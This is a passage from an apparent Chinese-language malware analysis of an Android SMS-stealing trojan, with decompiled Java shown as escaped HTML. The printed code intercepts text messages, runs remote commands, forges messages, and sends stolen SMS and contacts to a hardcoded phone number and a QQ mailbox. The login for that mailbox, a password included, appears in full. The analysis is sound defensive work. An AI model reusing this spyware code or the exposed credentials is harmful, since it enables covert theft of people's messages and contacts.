    &lt;span class="nt"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="nt"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;sendmessage&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
      &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label728&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;数据库处理发送短信命令----------------------------------&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;int&lt;/span&gt; &lt;span class="nt"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;lastIndexOf&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;String&lt;/span&gt; &lt;span class="nt"&gt;str8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;k&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;String&lt;/span&gt; &lt;span class="nt"&gt;str9&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;k&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;length&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
    &lt;span class="nt"&gt;SmsManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getDefault&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;str8&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;str9&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label750&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="nt"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;test&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
      &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label728&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;数据库收到test命令-----------------------------------&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;SmsManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getDefault&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;sendTextMessage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;【数据库截获】TEST数据截获（广播失效）&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label750&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="nt"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;makemessage&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
      &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label728&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;数据库处理伪造短信命令------------------------------------------&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;int&lt;/span&gt; &lt;span class="nt"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;lastIndexOf&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;String&lt;/span&gt; &lt;span class="nt"&gt;str6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;j&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;String&lt;/span&gt; &lt;span class="nt"&gt;str7&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;j&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;length&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
    &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;new&lt;/span&gt; &lt;span class="nt"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="err"&gt;public&lt;/span&gt; &lt;span class="err"&gt;void&lt;/span&gt; &lt;span class="err"&gt;run()&lt;/span&gt;
      &lt;span class="err"&gt;{&lt;/span&gt;
        &lt;span class="err"&gt;try&lt;/span&gt;
        &lt;span class="err"&gt;{&lt;/span&gt;
          &lt;span class="err"&gt;sleep(8000L)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="err"&gt;System.out.println(&amp;quot;==============================================&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="err"&gt;System.out.println(&amp;quot;开启线程睡眠8秒后&lt;/span&gt; &lt;span class="err"&gt;将Flag=false&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="err"&gt;System.out.println(&amp;quot;==============================================&amp;quot;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="err"&gt;ListenMessageService.this.Flag&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="err"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="err"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nt"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;InterruptedException&lt;/span&gt; &lt;span class="nt"&gt;localInterruptedException&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="err"&gt;while&lt;/span&gt; &lt;span class="err"&gt;(true)&lt;/span&gt;
            &lt;span class="err"&gt;localInterruptedException.printStackTrace()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="err"&gt;}&lt;/span&gt;
    &lt;span class="err"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;start&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Flag-------&amp;amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Flag&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;smsAddress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str6&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;smsBody&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str7&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label750&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="nt"&gt;str4&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;sendlink&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
      &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label728&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;数据库处理发送Link命令--------------------------------------------&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;String&lt;/span&gt; &lt;span class="nt"&gt;str5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;str1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ReadCONTACTS&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;str5&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;Intent&lt;/span&gt; &lt;span class="nt"&gt;localIntent1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;new&lt;/span&gt; &lt;span class="nt"&gt;Intent&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;MySendEmailService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;class&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;localIntent1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;putExtra&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;String&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;contactArray&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
    &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;startService&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;localIntent1&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label750&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;label1345&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Flag-----------&amp;amp;gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Flag&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="nt"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="nt"&gt;ListenMessageService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Flag&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="nt"&gt;break&lt;/span&gt; &lt;span class="nt"&gt;label1396&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;判断为伪造短信。不用截获不用发送-------------------------&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="err"&gt;}&lt;/span&gt;
  &lt;span class="nt"&gt;label1396&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nt"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;木马判断为普通信息，发送&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
  &lt;span class="nt"&gt;SmsManager&lt;/span&gt; &lt;span class="nt"&gt;localSmsManager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nt"&gt;SmsManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;getDefault&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="nt"&gt;String&lt;/span&gt; &lt;span class="nt"&gt;str3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;【数据库截获】RECV::&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nt"&gt;localStringBuilder1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="nt"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;str3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;length&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nt"&gt;60&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="err"&gt;localSmsManager.sendTextMessage(&amp;quot;18670259904&amp;quot;,&lt;/span&gt; &lt;span class="err"&gt;null,&lt;/span&gt; &lt;span class="err"&gt;str3.substring(0,&lt;/span&gt; &lt;span class="err"&gt;str3.length()&lt;/span&gt; &lt;span class="err"&gt;/&lt;/span&gt; &lt;span class="err"&gt;2),&lt;/span&gt; &lt;span class="err"&gt;null,&lt;/span&gt; &lt;span class="err"&gt;null)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;localSmsManager.sendTextMessage(&amp;quot;18670259904&amp;quot;,&lt;/span&gt; &lt;span class="err"&gt;null,&lt;/span&gt; &lt;span class="err"&gt;str3.substring(1&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="err"&gt;str3.length()&lt;/span&gt; &lt;span class="err"&gt;/&lt;/span&gt; &lt;span class="err"&gt;2),&lt;/span&gt; &lt;span class="err"&gt;null,&lt;/span&gt; &lt;span class="err"&gt;null)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nt"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="err"&gt;localSmsInfo.action&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="err"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;Message&lt;/span&gt; &lt;span class="err"&gt;localMessage1&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="err"&gt;this.smsHandler.obtainMessage()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;localMessage1.obj&lt;/span&gt; &lt;span class="err"&gt;=&lt;/span&gt; &lt;span class="err"&gt;localSmsInfo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;this.smsHandler.sendMessage(localMessage1)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="err"&gt;localSmsManager.sendTextMessage(&amp;quot;18670259904&amp;quot;,&lt;/span&gt; &lt;span class="err"&gt;null,&lt;/span&gt; &lt;span class="err"&gt;str3,&lt;/span&gt; &lt;span class="err"&gt;null,&lt;/span&gt; &lt;span class="err"&gt;null)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="err"&gt;}&lt;/span&gt;
&lt;span class="err"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;在MySendEmailService中，我们可以看到作者留下的邮箱信息，这也是作者愚昧的地方，留下了自己常用QQ和密码，我们可以发现两个邮箱是同一个。。是qq邮箱给的别名服务。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt; protected void onHandleIntent(Intent paramIntent)
{
System.out.println(&amp;quot;木马进入MySendEmailService==============================&amp;quot;);
String str = paramIntent.getStringExtra(&amp;quot;String&amp;quot;);
System.out.println(&amp;quot;木马开始发送邮件============================&amp;quot;);
MailSenderInfo localMailSenderInfo = new MailSenderInfo();
localMailSenderInfo.setMailServerHost(&amp;quot;smtp.qq.com&amp;quot;);
localMailSenderInfo.setMailServerPort(&amp;quot;25&amp;quot;);
localMailSenderInfo.setValidate(true);
localMailSenderInfo.setUserName(&amp;quot;a137736513@qq.com&amp;quot;);
localMailSenderInfo.setPassword(&amp;quot;lishulili.&amp;quot;);
localMailSenderInfo.setFromAddress(&amp;quot;a137736513@qq.com&amp;quot;);
localMailSenderInfo.setToAddress(&amp;quot;137736513@qq.com&amp;quot;);
localMailSenderInfo.setSubject(&amp;quot;信息&amp;quot;);
localMailSenderInfo.setContent(str);
new SimpleMailSender().sendTextMail(localMailSenderInfo);
SimpleMailSender.sendHtmlMail(localMailSenderInfo);
System.out.println(&amp;quot;木马完成发送邮件=============================&amp;quot;);
System.out.println(&amp;quot;木马离开MySendEmailService=============================&amp;quot;);
System.out.println(&amp;quot;木马killProcess==============================&amp;quot;);
Process.killProcess(Process.myPid());
}
}
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;在&lt;code&gt;BroadcastRecvMessage&lt;/code&gt;中发现了两个很重要的点，
第一个是如过是作者发来的信息，就会执行特殊操作：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;18670259904&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
